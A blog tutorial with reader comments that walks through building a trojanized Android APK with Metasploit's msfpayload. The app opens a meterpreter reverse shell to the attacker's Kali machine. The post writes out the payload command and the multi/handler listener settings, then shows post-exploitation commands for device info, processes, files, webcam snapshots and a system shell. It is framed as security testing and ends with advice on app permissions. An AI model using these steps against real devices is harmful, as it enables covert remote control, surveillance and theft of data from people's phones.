Getting a Remote Shell on an Android Device using Metasploit

This article was written a while ago and is out of date, check out my new book “Intermediate Security Testing with Kali Linux” to see an in-depth look at getting a remote shell, reading SMS text messages even on a non-rooted phone, pulling data from the internal Android databases, making your own emulated Android devices and much more!  

Metasploit is one of my favorite security tools. What some don’t know is that Metasploit has added some functionality for security testing Android Devices. In this post we will show you how to get a remote shell on an Android by using Metasploit in Kali Linux.

We will do this by creating a “malicious” Android program file, an APK file, so that once it is run, it will connect out to our attacking machine running Metasploit. We will set Metasploit up to listen for the incoming connection and once it sees it, create a fully functional remote shell to the device.

Creating a booby trapped APK file

First up, we need to create the APK that will include a remote shell. To do so, we will use the msfpayload command from Metasploit.

1. In Kali Linux, open a terminal prompt and type:

sudo msfpayload android/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=4444 R > app.apk

Android App

The msfpayload command takes one of the meterpreter payloads and allows you to create a stand alone file with it. You will need to put your Kali Linux IP address in for the LHOST address. You can change the port address also if you would like.

Once this is run, a file called “app.apk” will be created:

List File

2. Now just send this file to your Android device, I used a Smart Phone in this instance.

3. When the file is installing on the Android, it will come up like all apps and show you what capabilities it wants access to on your phone. It lists like every possibility I think, basically total access to the phone. This should be a warning to users that this isn’t an app that they should be running!

Now that the “evil” app is installed, we need to set Metasploit up to listen for incoming connections.

4. In Kali, start Metasploit from the menu or by typing “msfconsole” in a Terminal window.

5. Once Metasploit starts, type in the following to create a listener:

  • user exploit/multi/handler
  • set payload android/meterpreter/reverse_tcp
  • set lhost 192.168.1.16 (enter your Kali IP address)
  • set lport 4444

Then just type exploit to start the handler:

exploit1

6. Run the App on your Android device. It should show up as a big “M” icon with a name something like “Main Activity”.

7. A big button will appear on your phone that says, “ReverseTcp”, when it is pressed, your phone will connect out to the Metasploit system and a remote shell session is created.

On your Metaploit system you should see this:

Reverse TCP session

An active session is created and it drops you automatically into a meterpreter prompt.

8. From here your can type “sysinfo” to get information on the device:

sysinfo

9. You can see the processes running by typing, “ps”:

PS command

You can surf the Android device remotely by using standard Linux commands like ls, pwd, and cd. The Download directory usually has interesting things in it.

Though it errored out on mine, you can type “webcam_list” to get a list of the phone’s web cams, then “webcam_snap” to take a snapshot from the webcam.

Typing “help” at a meterpreter prompt will list all the command that are available.

We can also run the shell command that will drop us into a direct Terminal shell if we want:

meterpreter > shell
Process 1 created.
Channel 1 created.
ls

The Android phone in this example was not rooted, so I could not access the stored passwords, texts or phone logs.

But if the phone was rooted, I should have been able to access them… Remotely…

This should be noted by people who have rooted their phone!

And that is it! One wrong app installed by a user and an attacker could get remote access to your phone or other Android device. Did I mention that the phone was running an Anti-Virus program from a major vendor? It had no problems with letting my remote shell run…

Pay special attention to the rights and capabilities that an app wants when installing new apps. If a game wants full access to your phone, including the ability to make pay phone calls, this should be a red flag.

What’s next with Android support on Meterpreter?

Well, it is not “officially” supported yet, but there is an extension available to Meterpreter that allows several new Android based commands:

Pretty amazing stuff!

Want to learn a lot more about Kali and Metasploit? Check out “Basic Security Testing with Kali Linux“.

~ by D. Dieterle on February 19, 2014.

9 Responses to “Getting a Remote Shell on an Android Device using Metasploit”

  1. […] This blog was cross posted from the Cyber Arms Computer Security blog. […]

  2. Reblogged this on KandaNoctisKishimoto.

  3. I can see how you did this by first generating an apk that allows the exploit to work, but can a device running an app with webview exploitable implementation allow the same result? Specifically, would it allow you shell access to the device?

  4. can you please provide link to download metasploit android extension

  5. msfupdate is old now upgrae automatic with repository

  6. hi i have a question how did you do to know the port for your androir i was using nmap but it doesn’t works my android doesn’t have open ports could you help me?

    • Hi David, the lport and lhost commands tell the “evil” android app what port to connect to on your Kali system. the lport is the IP address of your Kali system, and lport is one you pick. You can use a different lport if you want, you just need to use the same port number when you start the handler to catch the incoming call from your Android device.

      Hope this helps!

      Dan

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